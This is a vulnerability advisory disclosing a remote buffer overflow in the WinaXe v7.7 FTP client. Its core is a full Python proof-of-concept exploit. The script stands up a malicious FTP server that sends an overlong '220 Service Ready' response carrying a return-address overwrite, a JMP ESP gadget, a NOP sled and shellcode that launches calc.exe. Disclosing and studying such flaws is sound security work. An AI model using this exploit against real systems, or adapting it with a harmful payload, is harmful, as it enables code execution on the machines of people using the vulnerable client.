[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt [+] ISR: Apparition Security Vendor: ============ www.labf.com Product: ================ WinaXe v7.7 FTP The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are built and provided in the package. All that you need to run remote UNIX and X Applications is included within WinaXe Plus. You operate simultaneously with X11, FTP and Telnet sessions and with your familiar MS Windows applications. Vulnerability Type: ======================= Remote Buffer Overflow Vulnerability Details: ====================== WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow vectors when connecting to a malicious FTP Server and receiving overly long payloads in the command response from the remote server. 220 SERVICE READY 331 USER / PASS 200 TYPE 257 PWD etc... below is POC for "server ready" 220 command exploit when first connecting to a FTP server. Exploit code(s): =============== import socket,struct #WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit #Discovery hyp3rlinx #ISR: ApparitionSec #hyp3rlinx.altervista.org #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") eip=struct.pack('<L',0x68084A6F) #POP ECX RET jmpesp=struct.pack('<L',0x68017296) #JMP ESP #We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode. payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit port = 21 s = socket.socket() host = '127.0.0.1' s.bind((host, port)) s.listen(5) print 'Evil FTPServer listening...' while True: conn, addr = s.accept() conn.send('220'+payload+'\r\n') conn.close() Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.